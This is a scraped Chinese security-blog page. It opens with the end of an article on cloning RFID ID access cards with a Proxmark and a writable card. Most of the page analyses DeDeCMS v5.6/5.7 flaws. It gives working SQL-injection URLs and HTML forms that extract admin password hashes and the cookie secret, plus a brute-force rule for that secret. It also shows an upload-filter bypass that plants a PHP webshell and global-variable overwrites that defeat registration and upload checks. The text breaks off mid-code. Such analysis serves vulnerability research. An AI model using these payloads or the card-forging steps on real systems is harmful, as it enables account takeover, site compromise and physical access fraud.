proxmark就開始向外部發送該卡號的數據。可以看到proxmark的指示燈顏色為黃色,即為 數據模擬發送階段。 三、ID 卡復制 在研究中使用信號模擬的方法是比較方便的,但是在實際運用中就不是很方便了,試想 下你在眾目睽睽之下,拿著單片機和天線在門禁上晃晃悠悠,那會是怎樣的景象啊?所以在 獲得了ID卡內數據后我們完全可以偽造一張卡。 使用的工具有兩部分:低頻讀寫器、可寫的 ID 卡。當然你也可以繼續使用 proxmark 來進行寫卡操作,不過在實踐中我們發現 proxmark 的低頻功能不是很穩定,所以推薦大家 使用專門的低頻讀寫設備。 低頻讀寫設備操作比較簡單,只要將讀出的卡號輸入,既可以完成寫卡。 當然在實際生活中使用 ID 卡的時候還是很多的,比如門禁、飯卡、會員卡等等。使用 ID卡的系統,一般都是在線系統,也就是將ID 卡中的數據作為身份標識,而數據一般是存#p#分頁標題#e# 在數據庫中的。因此針對ID 卡的攻擊一般也都是復制、偽造、中間人等等。不像IC卡的攻 擊中會有針對數據的篡改等攻擊手段。 http://www.ionrce.tw/uploads/allimg/120413/1-120413113344M9-lp.jpg 門禁卡 Hardware Hack NFC 系統安全 admin 未知 2012-04-13 11:32 DeDeCMS v5.7 member漏洞分析 http://www.ionrce.tw/wangzhananquan/20120412823.html DeDeCMS(織夢 CMS)是一款國內比較專業的 PHP 網站內容管理系統,從 04 年發行至今, 已近七個年頭,也經歷了無數次的升級和改版,功能也不斷增強。筆者原本以為這應該是一款安全性 DeDeCMS(織夢 CMS)是一款國內比較專業的 PHP 網站內容管理系統,從 04 年發行至今, 已近七個年頭,也經歷了無數次的升級和改版,功能也不斷增強。筆者原本以為這應該是一款安全性比較高的 CMS 系統,然而分析后令人感到 迷茫,迷茫國內比較專業的系統經歷七年發展,其安全還是令人堪憂。或許網絡原本就沒有 絕對的安全。 注入漏洞     漏洞一:/member/ajax_membergroup.php 頁面的 membergroup 變量沒有過濾導致數字 型注入,關鍵代碼如下:   //編輯分組 elseif($action == 'post') {   if(empty($membergroup)){ echo "您還沒有設置分組!"; exit; } $sql = "UPDATE `dede_member_friends` SET `groupid`='{$membergroup}' WHERE `fid`='{$mid}' AND `mid`='{$cfg_ml->M_ID}';"; $dsql->ExecuteNoneQuery($sql); $row = $dsql->GetOne("SELECT groupname FROM dede_member_group WHERE mid = {$cfg_ml->M_ID} AND id={$membergroup}");         //數字型注入 echo         " ".$row['groupname']."  <a              href='#' onclick='EditMemberGroup($mid);return false;'>修改</a>"; }     很明顯當“action=post”時,$membergroup 導致數字型注入漏洞,但是 DeDeCMS 在訪問 MySql 數據庫之前,使用 CheckSql()自定義函數對 SQL 語句進行安全檢查,無法直接注入。 繞 過 防 注 入 。 CheckSql() 函 數 定 義 在 /include/dedesql.class.php      或 /include/dedesqli.class.php 數據庫類文件中,代碼如下:   if (!function_exists('CheckSql')) { function CheckSql($db_string,$querytype='select') {global $cfg_cookie_encode; $clean = '';$error='';$old_pos = 0;$pos = -1; ...(略) //如果是普通查詢語句,直接過濾一些特殊語法 if($querytype=='select') {$notallow1= "[^0-9a-z@\._-]{1,}(union|sleep|benchmark|load_file|outfile)[^0-9a-z@\.-]{1 ,}"; //[^0-9a-z@\._-]{1,}即至少 1 個非數字、小寫字母、@等字符, if(preg_match("/".$notallow1."/", $db_string)) {//①preg_match 未使用參數 i,使用大寫繞過,如:Union     puts(fopen($log_file,'a+'),"$userIP||$getUrl||$db_string||SelectBreak\r\n") ; exit("<font   size='5'   color='red'>Safe    Alert:   Request   Error   step 1 !</font>"); } } while (TRUE) { $pos = strpos($db_string, '\'', $pos + 1); if ($pos === FALSE) {break;    } //②假如字符串$db_string 中不存在“\'”退出 while 循環,存在則繼續向下 執行 $clean .= substr($db_string, $old_pos, $pos - $old_pos); while (TRUE) { ...(略) } $clean .= '$s$'; //③將字符串$db_string 中"\'"和"\'"之間的字符轉為"$s$",即信任之間的字 符串,繞過防注入的關鍵 $old_pos = $pos + 1; } …..(繼續接如下代碼) } } $clean .= substr($db_string, $old_pos); $clean = trim(strtolower(preg_replace(array('~\s+~s' ), array(' '), $clean))); //④"\s"匹配任何空白字符,包括空格、制表符、換頁符等,$clean 轉為小寫 //⑤再次檢查 union 關鍵字 if        (strpos($clean,          'union')         !==         FALSE         && preg_match('~(^|[^a-z])union($|[^[a-z])~s', $clean) != 0) { $fail = TRUE; $error="union detect"; }   //⑥依次檢查--、#、benchmark、load_file、outfile、select 等關鍵字 elseif (strpos($clean, '/*') > 2 || strpos($clean, '--') !== FALSE || strpos($clean, '#') !== FALSE) {...(略) } //這些函數不會被使用,但是黑客會用它來操作文件,down 掉數據庫#p#分頁標題#e# elseif        (strpos($clean,         'sleep')         !==        FALSE        && preg_match('~(^|[^a-z])sleep($|[^[a-z])~s', $clean) != 0) ...(略) //老版本的 MYSQL 不支持子查詢,我們的程序里可能也用得少,但是黑客可以使用它來 查詢數據庫敏感信息 elseif (preg_match('~\([^)]*?select~s', $clean) != 0) {...(略)} if (!empty($fail)) {//存在限制的 Sql 關鍵字,寫日志文件$log_file,輸出“Safe Alert: Request Error step 2!”     fputs(fopen($log_file,'a+'),"$userIP||$getUrl||$db_string||$error\r\n"); exit("<font     size='5'    color='red'>Safe     Alert:    Request    Error    step 2!</font>"); } else {//⑦不存在限制的 Sql 關鍵字,返回$db_string 字符串 return $db_string; }   語句①使用正則表達式過濾 Sql 關鍵字,但是因為沒有參數“i”,導致可以使用大寫繞 過,比如“Union”等,While 循環實現將字符串(Sql 語句)中轉義單引號之間的字符轉為 “$s$”,不予檢查,此舉意圖是信任轉義單引號之間的字符,即允許提交包含 Sql 關鍵字的 文字,比如發表新文章的內容,但是也因此產生了安全漏洞。 漏洞利用。構造 membergroup 變量值為“@`'` Union select pwd from `%23@  admin` where 1 or id=@`'`”,注意:1)“Union”不能全為小寫“union”,2)前后使用“@`'`”。 當變量提交后,Sql 語句成為“SELECT groupname FROM #@  member_group WHERE mid = 8 AND id=@`\'` Union select pwd from `%23@  admin` where 1 or id=@`\'`”,mid 為當 前用戶 id,首先大寫 Union 繞過防注入語句①,然后防注入會將“\'”之間的字符串認為可信任的,對于其中的字符串不再做防注入過濾,盡管其中含有“union、select”等關鍵 字!在 CheckSql()函數中添加輸出語句如下,可以直觀地看到轉換前后的 Sql 語句以及注 入結果如圖 1。 …(略) echo "原字符串:".$db_string."<br>"; //完整的 SQL 檢查 while (TRUE) { …(略) } $clean .= substr($db_string, $old_pos); $clean = trim(strtolower(preg_replace(array('~\s+~s' ), array(' '), $clean))); echo "轉換以后:".$clean."<br>"; …(略) 這里注出的是 substr(md5($this->userPwd), 5, 20)值,我們可以去掉前三位和最后 一位,成為 16 位 MD5 碼,如“7a57a5a743894a0e”,再進行爆破。常用的注入鏈接如下:   注入管理員密碼:   http://127.1/member/ajax_membergroup.php?action=post&membergroup=@`'`           Union select pwd from `%23@__admin` where 1 or id=@`'` // 如果存在多個管理員時,可以將 where 條件改為“ id=1 or id=@`'` ”或 “userid=0x61646D696E or id=@`'`” 注入$cfg_cookie_encode http://127.1/member/ajax_membergroup.php?action=post&membergroup=@`'`           Union select value from `%23@  sysconfig` where aid=3 or aid=@`'` // 在獲得 $cfg_cookie_encode 后,我 們可 以直接利用 漏洞二 。另外在 “/data/'.md5($cfg_cookie_encode).'_safe.txt'”文件中記錄著注入痕跡。   漏洞二:/member/edit_fullinfo.php 頁面,即更改詳細資料頁面(系統設置>>個人資料), 如圖 2,要求登陸用戶。   該頁面中$inadd_f 變量沒有過濾導致注入,代碼如下:   if($dopost=='save'){ //這里完成詳細內容填寫 ...(略) if(!empty($dede_fields)) { if($dede_fieldshash != md5($dede_fields.$cfg_cookie_encode)) { howMsg('數據校驗不對,程序返回',  '-1');#p#分頁標題#e# exit(); }   // ① $cfg_cookie_encode 值 必須已 知,才 能提交 符合 條件 的 $dede_fieldshash } $modelform = $dsql->GetOne("SELECT * FROM dede_member_model WHERE id='$modid' "); if(!is_array($modelform)) {  howmsg('模型表單不存在',  '-1'); exit(); }      //②$modid 值必須正確 $inadd_f = ''; if(!empty($dede_fields)) { $fieldarr = explode(';', $dede_fields);        //③用“;”將$dede_fields  變 量分割成為數組 if(is_array($fieldarr))       //即$dede_fields 變量至少必須包含一個“;” { foreach($fieldarr as $field) { if($field == '') continue; $fieldinfo = explode(',', $field); //④用“,”將$field 分割成為數組 if($fieldinfo[1] == 'textdata') { ${$fieldinfo[0]} = FilterSearch(stripslashes(${$fieldinfo[0]})); ${$fieldinfo[0]} = addslashes(${$fieldinfo[0]}); } else if ($fieldinfo[1] == 'img') { ${$fieldinfo[0]} = addslashes(${$fieldinfo[0]}); } else { if(empty(${$fieldinfo[0]})) ${$fieldinfo[0]} = ''; ${$fieldinfo[0]}          =        GetFieldValue(${$fieldinfo[0]}, $fieldinfo[1],0,'add','','diy', $fieldinfo[0]); } if($fieldinfo[0]=="birthday") ${$fieldinfo[0]}=GetDateMk(${$fieldinfo[0]}); $inadd_f .= ','.$fieldinfo[0]." ='".${$fieldinfo[0]}."'"; //⑤將用“,”分割成的數組名和值引入$inadd_f 中 } } } $inadd_f=preg_replace('/,/','',$inadd_f,1); $query    =   "UPDATE    `{$membermodel->table}`set       {$inadd_f}     WHERE mid='{$cfg_ml->M_ID}'"; //⑥將$inadd_f 引入 Sql 語句中 // 清除緩存 $cfg_ml->DelCache($cfg_ml->M_ID); ...(略) //調用$dsql->ExecuteNoneQuery($query)執行 Sql 語句 } 通過分析可以得出:1)語句①②,$cfg_cookie_encode 值必須已知,才能提交符合條 件的$dede_fieldshash,提交的 $modid 值必須正確,查看該頁面源碼即可獲得$modid 值;2) 語句③④⑤,$dede_fields 變量形式必須為“變量 1 名稱,變量 1 類型;變量 2 名稱,變 量 2 類型;….”,最后$inadd_f 變量值為“,變量 1 名稱=’ 變量 1 值’, 變量 2 名稱=’ 變 量 2 值’,……”;3)$inadd_f 直接引入 Sql 語句,因此可以使用自查詢將需要注出的內容 寫入個人資料中! 獲取$cfg_cookie_encode 值。此值是能否成功利用漏洞二的關鍵,除了利用漏洞一外, 還可以通過爆破 MD5 碼獲取。使用$cfg_cookie_encode 變量的用戶頁面很多,我們選擇“上 傳 軟件”頁 面,查看 頁面 源碼,搜 索“ dede_fieldshash”字 符串,如圖 3,其 中 $dede_fieldshash     值 為  MD5($dede_addonfields.$cfg_cookie_encode)  , 由 于 $dede_addonfields 值為空,所以獲得的$dede_fieldshash 值就是$cfg_cookie_encode 變 量的 MD5 碼, DeDeCMS 安裝時,$cfg_cookie_encode 變量默認生成規則為:   $rnd_cookieEncode                                                     = chr(mt_rand(ord('A'),ord('Z'))).chr(mt_rand(ord('a'),ord('z'))).chr(mt_rand (ord('A'),ord('Z'))).chr(mt_rand(ord('A'),ord('Z'))).chr(mt_rand(ord('a'),o rd('z'))).mt_rand(1000,9999).chr(mt_rand(ord('A'),ord('Z')));   形式如:AaAAa9999A,即前 5 位為英文字母,分別為大寫、小寫、大寫、大寫、小寫,然后 是 4 位數字,最后是 1 位大寫英文字母,一共 10 位。爆破工具選擇 MD5Crack 4,因為這個 版本可以按指定的規則進行破解,如圖 4。 #p#分頁標題#e# 首先輸入待破解的 MD5 碼,然后選中①處“Plugins”,選中②處“Templet Plug 2.0”, 在③處輸入密碼規則:[A-Z][a-z]2[A-Z][a-z][1-9]3[0-9][A-Z],④處對規則做了一些簡 單說明,譯文如下:   首先,讓我們看一些例子:[p][r]3[a-z]2-4{0,3,6-8}。 模式中包括的“[]”或“{}”為基本元素,其中指定字符集,可以用“,”列出字符, 或用“-”表示連接的范圍。基本元素之前的數字表示重復次數,不指定時默認為 1。 []和{}的區別: 1、默認(前面無數字)[]是指重復 1 次,{}是指重復 0 或 1 次。 2、前面 1 個數字(如:x[...],x{...}),[]是指重復 x 次,{}是重復 0 到 x 次。 3、前面 2 個數字(如:x-y[...],x-y{...}),[]和{}是相同的,指重復 x 到 y 次。 [...] == 1-1[...]     {...} == 0-1{...} 3[...] == 3-3[...] 3{...} == 0-3{...} 有更多的例子:   [a][b][c] : abc [a,b,c] == [a-c] : a;b;c {a-c} : NULL;a;b;c 2[a-c] : aa;ab;ac;ba;bb;bc 2{a-c} : NULL;a;b;c;aa;ab;ac;ba;bb;bc;ca;cb;cc   隨后就可以開始破解了。一旦獲得$cfg_cookie_encode 變量,我們就可以順利注入,提交 頁面代碼如下,注意必須將 document.getElementById('dede_fields').value 值中的單引 號替換為轉義單引號,即“'”轉為“\'”。   <form       method="post"        action="http://127.1/member/edit_fullinfo.php" name="form1"> dopost:<input type="text" value="save" name="dopost"/><br> modid:<input type="text" value="1" name="modid"/><br> cfg_cookie_encode:<input           type="text"          value="MhHTi3472T" name="cfg_cookie_encode" /><br> dede_fields:<input        type="text"       value=""       name="dede_fields" size=50/><br> <input type="hidden" value="1" name="dede_fieldshash"/> <button              type="submit"               onclick="javascript:var s1=document.getElementById('dede_fields').value.replace('\'','\\\'');var s2=document.getElementById('cfg_cookie_encode').value;document.getElementBy Id('dede_fieldshash').value=hex_md5(s1+s2); ">完 成 </button> </form> <script>   利用頁面如圖 5,提交后完成注入,頁面轉向后獲得管理員的密碼,如圖 6。 當 dede_fields=@`qq'`;uname=(select pwd from %23@  admin where id=1) where mid=8%23,int 語 句 執 行 失 敗 : UPDATE `dede_member_person`     SET   `mid`='8'    ,@`qq\'` ='' ,uname=(select pwd from #@  admin where id=1) where mid=8# ='0' WHERE `mid`='8'; 當 dede_fields=qq=@`qq'`;uname=(select pwd from %23@  admin where id=1) where mid=8%23,int 語句 執行成功: UPDATE `dede_member_person`  SET `mid`='8' ,qq=@`qq\'` ='' ,uname=(select pwd from #@  admin where id=1) where mid=8# ='0' WHERE `mid`='8'; MySql 版本為 5.0.90   測試注入時注意“@”定義變量的用法,“qq=@`qq\'` =''”執行成功,而“@`qq\'` =''” 不會執行成功。   上傳漏洞     其實 DeDeCMS 對上傳進行了嚴格的限制。首先使用/include/uploadsafe.inc.php 禁止某些文件類型,如“php|pl|cgi|asp|aspx|jsp|php3|shtm|shtml”,然后上傳時再次進行允 許和禁止判斷,限制應該是很嚴格的,但是/include/dialog/select_soft_post.php 文件 存在失誤,導致可以繞過這些限制上傳 asp 木馬文件。主要代碼如下:   <?php if(!isset($cfg_basedir)) //①如果$cfg_basedir 變量沒有定義,則包含 config.php#p#分頁標題#e# 文件 {    include_once(dirname( FILE__).'/config.php');        } ...(略) $newname = ( empty($newname) ? '' : preg_replace("#[\\ \"\*\?\t\r\n<>':\/|]#", "", $newname) ); //②過濾新文件名中的正斜杠、反斜杠、空格、單引號等符號 ...(略) $uploadfile_name = trim(preg_replace("#[ \r\n\t\*\%\\\/\?><\|\":]{1,}#", '', $uploadfile_name)); if(!preg_match("#\.(".$cfg_softtype.")#i", $uploadfile_name)) {    //$cfg_softtype = 'zip|gz|rar|iso|doc|xsl|ppt|wps' //③進行允許$cfg_softtype 類型判斷。因為正則表達式缺少“$”,所以“.zip.asp” 將滿足條件,還可以將上傳文件的擴展名改為 rar 等。 ShowMsg("你所上傳的{$uploadmbtype}不在許可列表,請更改系統對擴展名限定的 配置!",""); exit(); } if($activepath==$cfg_soft_dir) {   //$cfg_soft_dir=$cfg_medias_dir.'/soft',提交空變量$activepath 使條件不成 立 ...(略) } if(!empty($newname)) //上傳后的新文件名 {    $filename = $newname; if(!preg_match("#\.#", $filename)) $fs = explode('.', $uploadfile_name); else $fs = explode('.', $filename); //④新文件名包含“.”,取新文件擴展名,否則取上傳文件擴展名 if(preg_match("#".$cfg_not_allowall."#", $fs[count($fs)-1])) {    //$cfg_not_allowall = "php|pl|cgi|asp|aspx|jsp|php3|shtm|shtml"; //⑤再次進行禁止$cfg_not_allowall 類型判斷,因為正則表達式缺少“i”, 所以可以通過大寫繞過 ShowMsg("你指定的文件名被系統禁止!",'javascript:;');      exit(); } if(!preg_match("#\.#",           $filename))          $filename          = $filename.'.'.$fs[count($fs)-1]; }else{                           $filename                           = $cuserLogin->getUserID().'-'.dd2char(MyDate('ymdHis',$nowtme)); //自動生成文件名,由于 getUserID()函數定義在 userlogin.class.php 中,一 般無法調用,所以我們上傳時指定新文件名 ...(略) } $fullfilename = $cfg_basedir.$activepath.'/'.$filename; //文件上傳到網站根目   錄   $fullfileurl = $activepath.'/'.$filename; move_uploaded_file($uploadfile,$fullfilename)         or    die(" 上 傳 文 件 到 $fullfilename 失敗!"); //⑥ PHP 的 move_uploaded_file() 函數 將上傳的 文件 移動( 復制) 到新 位置 的 $fullfilename 文件。   與 include/dialog 目錄其他文件不同,沒有直接包含 config.php 文件(包含 config.php 文件時,會要求以管理員身份登錄后才能繼續訪問),而是增加了語句①進行判 斷$cfg_basedir 變量,如果沒有定義則強制包含 config.php 文件,這樣的意圖是不允許直 接訪問 select_soft_post.php 文件,但是這樣做同樣是危險的,一旦$cfg_basedir 變量已 經定義,將繞 過 config.php 文件的限制,具體的方法是以包含方 式調 用 select_soft_post.php。因為語句②過濾了正反斜杠,所以不能進行目錄跳轉,默認上傳到 網站根目錄。語句③進行允許$cfg_softtype 類型判斷,因為正則表達式缺少“$”,所以 “.zip.asp”將滿足條件,還可以將上傳文件擴展名改為允許上傳的類型,如 rar 等。語句 ④判斷新文件名是否包含“ .”,是則取新文件名的擴展名,語句⑤再次進行禁止 $cfg_not_allowall 類型判斷,因為正則表達式缺少“i”,所以可以通過大寫繞過,語句⑥ 完成上傳文件的復制。 包含方式調用 select_soft_post.php。由于語句①要求$cfg_basedir 變量必須初始化, 所以必須以包含方式調用 select_soft_post.php 文件,才能繞過 config.php 文件限制。分 析頁面“/plus/carbuyaction.php”主要代碼如下:#p#分頁標題#e#   if($cfg_mb_open == 'N') { ShowMsg("系統關閉了會員功能,因此你無法訪問此頁面!","javascript:;"); exit(); }   //①要求系統開啟會員功能 $cfg_ml = new MemberLogin(); if(!isset($dopost) || empty($dopost)){ ...(略) } else if ($dopost == 'memclickout') { $svali = GetCkVdValue(); if(preg_match ("/S-P[0-9]+RN[0-9]/",$oid)) { $oid=trim($oid); } else { ShowMsg("您的訂單號不存在!","/member/shops_orders.php",0,2000); exit(); } //②要求$oid 變量符合正則表達式 if($cfg_ml->IsLogin()) {   } else { $userid = $cfg_ml->M_ID; ...(略) //驗證用戶名、密碼 }  //③要求用戶登錄 $row=$dsql->GetOne("SELECT * FROM `#@  shops_orders` WHERE oid='$oid' "); if(is_array($row)){   $OrdersId=$oid; $CartCount=$row['cartcount']; $priceCount=$row['priceCount']; $pid=$row['pid']; $rs    =    $dsql->GetOne("SELECT       *    FROM    `#@  payment`      WHERE id='{$row['paytype']}' "); } //④當$row 不是數組,即 if 條件不成立,不會重寫變量$rs,所以外部提交 $rs['code']變量,實現包含調用 select_soft_post.php 文件。 require_once DEDEINC.'/payment/'.$rs['code'].'.php'; ...(略) }   分析代碼可以知道:語句①和③要求系統開啟會員功能并且登陸用戶;語句②要求變量 $oid 符合正則表達式“S-P[0-9]+RN[0-9]”,即以“S-P”開頭,加數字,加“RN”,最后 是數字;語句④是導致可以包含調用的關鍵,當$row 不是數組,即 Sql 語句無返回結果, 這時就可以外部提交$rs['code']變量,實現包含調用 select_soft_post.php 文件。給出利 用鏈接:“http://127.1/plus/carbuyaction.php?dopost=memclickout&oid= S-P0RN8888&rs[code]=../dialog/select_soft_post”,訪問頁面如圖 7。 將下面的源碼另存為 upload1.htm,獲得提交頁面如圖 8。   <form action="http://127.1/plus/carbuyaction.php?dopost=memclickout&oid=S-P0RN888 8&rs[code]=../dialog/select_soft_post"                            method="post" enctype="multipart/form-data" name="form1"> file:<input name="uploadfile" type="file" /><br> newname:<input name="newname" type="text" value="myfile.Php"/> <button class="button2" type="submit">提交</button><br><br> 1,必須登陸用戶。<br> 2,將待上傳 PHP 文件擴展名改為“zip|gz|rar|iso|doc|xsl|ppt|wps”其中之一。<br> 3,newname 為上傳后的新文件名,擴展名使用大寫繞過,如“Php”。<br> 提交后盡管頁面出錯,如圖9,但是myfile.Php文件已經成功上傳到網站根目錄。 漏洞影響:DeDeCMS V5.6 和 5.7 所有版本。因為 V5.6 使用 eregi 函數進行正則判斷, 忽略大小寫,所以無法繞過 CheckSql 函數的“Safe  Alert: Request Error step 1 !”的 過 濾,不 存在注 入漏洞, 但是卻 存在上 傳漏洞。 比較 V5.6 與 V5.7 頁 面代碼 , “/plus/carbuyaction.php”一致,僅“/dialog/select_soft_post.php”略有不同,代碼 如下: …(略) $uploadfile_name = trim(ereg_replace("[ \r\n\t\*\%\\/\?><\|\":]{1,}",'',$uploadfile_name)); if(!eregi("\.(".$cfg_softtype.")", $uploadfile_name)) { ShowMsg("你所上傳的{$uploadmbtype}不在許可列表,請更改系統對擴展名限定的 配置!",""); exit(); }//將待上傳文件的擴展名改為rar等,繞過這里的限制#p#分頁標題#e# if(!empty($newname)) { $filename = $newname; if(!ereg("\.", $filename)) $fs = explode('.', $uploadfile_name); else $fs = explode('.', $filename); if(eregi($cfg_not_allowall, $fs[count($fs)-1])) { ShowMsg("你指定的文件名被系統禁止!",'javascript:;'); exit(); }//雖然使用eregi函數進行正則判斷,無法利用大寫繞過,但是只要在變量 $newname值最后增加一個“.”,就可以繞過了。 if(!ereg("\.", $filename)) $filename = $filename.'.'.$fs[count($fs)-1]; } …(略) 只要我們在變量$newname 最后增加一個“.”,就可以繞過限制了,比如“myfile.php.”, 代 碼獲取的 文件擴展 名 “ $fs[count($fs)-1] ” 是空值 , 所以不 滿足條 件 “eregi($cfg_not_allowall, $fs[count($fs)-1])”,因此頁面不執行“exit()”繼續上 傳文件。 全局變量漏洞     由于 DeDeCMS 對全局變量限制不嚴格,導致可以外部提交全局變量,漏洞影響 2011 年 8 月 12 日升級之前 V5.7 和 5.6 所有版本。DeDeCMS 限制提交以“cfg_|GLOBALS”開頭的變 量名,include/common.inc.php 相關代碼如下:   ============== 8 月 12 日升級前 =================== if (!defined('DEDEREQUEST')) { //檢查和注冊外部提交的變量 foreach($_REQUEST as $_k=>$_v) //語句① { if( strlen($_k)>0 && preg_match('/^(cfg_|GLOBALS)/',$_k) ) { exit('Request var not allow!'); } } foreach(Array('_GET','_POST','_COOKIE') as $_request) //語句② { foreach($$_request as $_k => $_v) ${$_k} = _RunMagicQuotes($_v); } } ============== 8 月 12 日升級后 =================== if (!defined('DEDEREQUEST')) { //檢查和注冊外部提交的變量      (2011.8.10 修改登錄時相關過濾) function CheckRequest(&$val) { if (is_array($val)) { foreach ($val as $_k=>$_v) { CheckRequest($_k); CheckRequest($val[$_k]); } } else { if( strlen($val)>0 && preg_match('#^(cfg_|GLOBALS)#',$val) ) { exit('Request var not allow!'); } } } CheckRequest($_REQUEST); foreach(Array('_GET','_POST','_COOKIE') as $_request) { foreach($$_request as $_k => $_v) ${$_k} = _RunMagicQuotes($_v); } }   升級后增加了對提交變量名和值的過濾,我們分析升級前代碼。語句①不允許$_REQUEST 方式提交“cfg_|GLOBALS”開頭的變量名,由于 PHP 以數組方式存儲變量,所以我們可以使   用“_POST[cfg_xxx]”方式進行提交。修改 tags.php 文件如下,觀察輸出的頁面全局變量。   <?php /** * @version        $Id: tags.php 1 2010-06-30 11:43:09Z tianya $ * @package         DedeCMS.Site * @copyright       Copyright (c) 2007 - 2010, DesDev, Inc. * @license         http://help.dedecms.com/usersguide/license.html * @link            http://www.dedecms.com */ require_once (dirname(__FILE__) . "/include/common.inc.php"); require_once (DEDEINC . "/arc.taglist.class.php"); $PageNo = 1; print_r($GLOBALS); exit; //增加這兩行代碼,輸出全局變量 if(isset($_SERVER['QUERY_STRING'])) …(略) 在 URL 中提交:_POST[cfg_var]=Y,然后查看頁面源碼,觀察_GET 和_POST 數組如圖 10,當執行語句②后,_GET 數組中的變量被轉為_POST 數組中,最后轉為全局變量如圖 11。   分析 DeDeCMS 獲取和注冊變量的過程如下:   if (!defined('DEDEREQUEST')) {#p#分頁標題#e# …(略)//檢查和注冊外部提交的變量,語句①,代碼見前文 } //系統配置參數,語句② require_once(DEDEDATA."/config.cache.inc.php"); //數據庫配置文件,語句③ require_once(DEDEDATA.'/common.inc.php'); …(略) //模板的存放目錄,語句④ $cfg_templets_dir = $cfg_cmspath.'/templets'; $cfg_templeturl = $cfg_mainsite.$cfg_templets_dir; …(略) 首先語句①檢查和注冊外部提交的變量,然后語句②、③初始化全局變量(系統配置參數、數據庫配置參數),最后語句④初始化網站的其他全局變量。所以即使語句①成功提交了以 “cfg_”開頭的網站全局變量,比如提交“cfg_mb_open”(是否開啟會員功能)值為“Y”, 隨后還是會被初始化為網站設置值,目前還無法修改全局變量。此方法適合:GET 方式提交 _POST 和_COOKIE,POST 方式提交_COOKIE。 修改全局變量。DeDeCMS 同時還通過 include/filter.inc.php 包含文件過濾不相關內 容,比如禁止提交$cfg_notallowstr 變量定義的字符,過濾$cfg_replacestr 變量定義的字 符為“***”等,代碼如下: //過濾不相關內容 function _FilterAll($fk, &$svar) { global $cfg_notallowstr,$cfg_replacestr; if( is_array($svar) ) { foreach($svar as $_k => $_v) {   } } else { $svar[$_k] = _FilterAll($fk,$_v); …(略) //禁止提交$cfg_notallowstr變量定義的字符 } return $svar; } /* 對_GET,_POST,_COOKIE進行過濾  */ foreach(Array('_GET','_POST','_COOKIE') as $_request) { foreach($$_request as $_k => $_v) { ${$_k} = _FilterAll($_k,$_v); //注冊變量并過濾變量值 } } 過濾不相關內容的同時注冊變量!搜索“filter.inc.php”文件包含情況如圖 12,如 member/config.php 文件,首先包含 common.inc.php 文件,然后再包含 filter.inc.php 文 件,因此可以修改以“cfg_”開頭的全局變量。圖中這幾個頁面文件以及包含這幾個文件的 頁面均可以提交和修改全局變量,幾乎 member 目錄中所有的頁面文件均受此影響。   利用一:繞過注冊限制注冊新會員。變量 cfg_mb_open 決定是否開啟會員功能,變量 cfg_mb_allowreg 決定是否開啟新會員注冊功能,“N”為關閉,否則開啟功能,所以即使網 站關閉會員功能,只要提交 cfg_mb_allowreg 變量不為“N”,便可以成功注冊新會員,提交 cfg_mb_open 變量不為“N”,則可以使用曾經注冊的會員繼續登陸!繞過的方法有:   方 法 一 : 修 改 注 冊 提 交 頁 面 源 碼 , 將     form            的    action      值 改 為 “http://127.1/member/reg_new.php?_POST[cfg_mb_allowreg]=Y”,其中“127.1”根據實 際修改。 方法二:修改注冊提交頁面源碼,在 form  中增加“input ”元素,name  屬性為 “ COOKIE[cfg  mb  allowreg]”,值為“Y”(非 “N”)。   利用二:注冊已審核新會員。DeDeCMS 系統默認設置時,新注冊會員后需要郵件驗證, 全局變量 cfg_mb_spacesta 值為會員使用權限開通狀態,默認 “-10”為需要郵件驗證,“-1” 為手工審核, “0”為沒限制,注冊頁面 reg_new.php 的代碼如下:   $spaceSta = ($cfg_mb_spacesta < 0 ? $cfg_mb_spacesta : 0); $inQuery                  =                   "INSERT                  INTO                   `#@    member` (`mtype` ,`userid` ,`pwd` ,`uname` ,`sex` ,`rank` ,`money` ,`email` ,`scores` ,               `matt`, `spacesta` ,`face`,`safequestion`,`safeanswer` ,`jointime` ,`joinip` ,`logintime` ,`loginip` ) VALUES                          ('$mtype','$userid','$pwd','$uname','$sex','10','$dfmoney','$email','$dfscores',#p#分頁標題#e# '0','$spaceSta','','$safequestion','$safeanswer','$jointime','$joinip','$logintime','$loginip'); "; if($dsql->ExecuteNoneQuery($inQuery)) …(略)   所以提交變量$cfg_mb_spacesta 值不小于 0,注冊的會員將不需要郵件驗證和審核,利用前 文的方法二修改注冊提交頁面源碼,提交不含“1”的變量 safe_gdopen 可以繞過驗證碼限 制,詳細利用略。 利用三:全局變量注入。使用 DW 在 member 目錄搜索“(select |update   |insert ).*(cfg_)”字符串(即使用全局變量的 Sql 語句),如圖 13,獲得 album_add.php、 archives_add.php、article_add.php 等頁面,使用“$cfg_sendarc_scores”全局變量, 并 且 以 數 字 型 引 入    Sql                       語 句 , 如 “ "UPDATE   `#@  member`  SET scores=scores+{$cfg_sendarc_scores} WHERE mid='".$cfg_ml->M_ID. "' ; "”。 前文提及的注入漏洞二必須獲知$cfg_cookie_encode 變量,這里我們完全可以提交變量 $cfg_cookie_encode 為空,滿足條件,受影響頁面有 memmber 目錄中的 reg_new.php、 edit_fullinfo.php 等頁面。詳細利用略。 利用四:全局變量上傳木馬。會員上傳頁面為 member 目錄中的 uploads_add.php、 uploads_edit.php      等   ,   上   傳   函   數    MemberUploads      定   義   在 include/helpers/upload.helper.php 文件,分析代碼如下:   function MemberUploads($upname,$handname,$userid=0,$utype='image',$exname='',$maxwid th=0,$maxheight=0,$water=false,$isadmin=false) {  ...(略) $allAllowType             =            str_replace('||',              '|', $cfg_imgtype.'|'.$cfg_mediatype.'|'.$cfg_mb_addontype); //①提交全局變量$cfg_imgtype、$cfg_mediatype、$cfg_mb_addontype,自定義允許 上傳的文件類型 if(!empty($GLOBALS[$upname]) && is_uploaded_file($GLOBALS[$upname])) { $nowtme = time(); $GLOBALS[$upname.'_name']                                          = trim(preg_replace("#[ \r\n\t\*\%\\\/\?><\|\":]{1,}#",'',$GLOBALS[$upname.'_ name'])); //②過濾上傳文件名中的空格等符號 if($utype=='image') //③分別檢查 image、flash、media 等文件類型 { ...(略) } //再次嚴格檢測文件擴展名是否符合系統定義的類型 $fs = explode('.', $GLOBALS[$upname.'_name']); $sname = $fs[count($fs)-1]; //上傳文件的擴展名 $alltypes = explode('|', $allAllowType); if(!in_array(strtolower($sname), $alltypes))       //④$alltypes 含擴展名小 寫 { ShowMsg('你所上傳的文件類型不被允許!',  '-1'); exit(); } //強制禁止的文件類型 Php if(preg_match("/(asp|php|pl|cgi|shtm|js)$/", $sname)) //⑤大寫繞過,如:   { ShowMsg('你上傳的文件為系統禁止的類型!', '-1'); exit(); } …(略) move_uploaded_file($GLOBALS[$upname], $cfg_basedir.$filename) or die(" 